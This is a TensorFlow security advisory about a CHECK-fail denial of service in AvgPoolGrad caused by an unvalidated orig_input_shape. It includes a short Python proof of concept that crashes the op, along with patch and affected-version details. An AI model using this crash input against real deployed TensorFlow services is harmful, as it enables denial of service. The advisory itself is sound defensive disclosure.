TensorFlow vulnerable to `CHECK` fail in `AvgPoolGrad`

Impact

The implementation of AvgPoolGrad does not fully validate the input orig_input_shape. This results in a CHECK failure which can be used to trigger a denial of service attack:

import tensorflow as tf

ksize = [1, 2, 2, 1]
strides = [1, 2, 2, 1]
padding = "VALID"
data_format = "NHWC"
orig_input_shape = tf.constant(-536870912, shape=[4], dtype=tf.int32)
grad = tf.constant(.0890338004362538, shape=[1,5,7,1], dtype=tf.float64)
tf.raw_ops.AvgPoolGrad(orig_input_shape=orig_input_shape, grad=grad, ksize=ksize, strides=strides, padding=padding, data_format=data_format)

Patches

We have patched the issue in GitHub commit 3a6ac52664c6c095aa2b114e742b0aa17fdce78f.

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.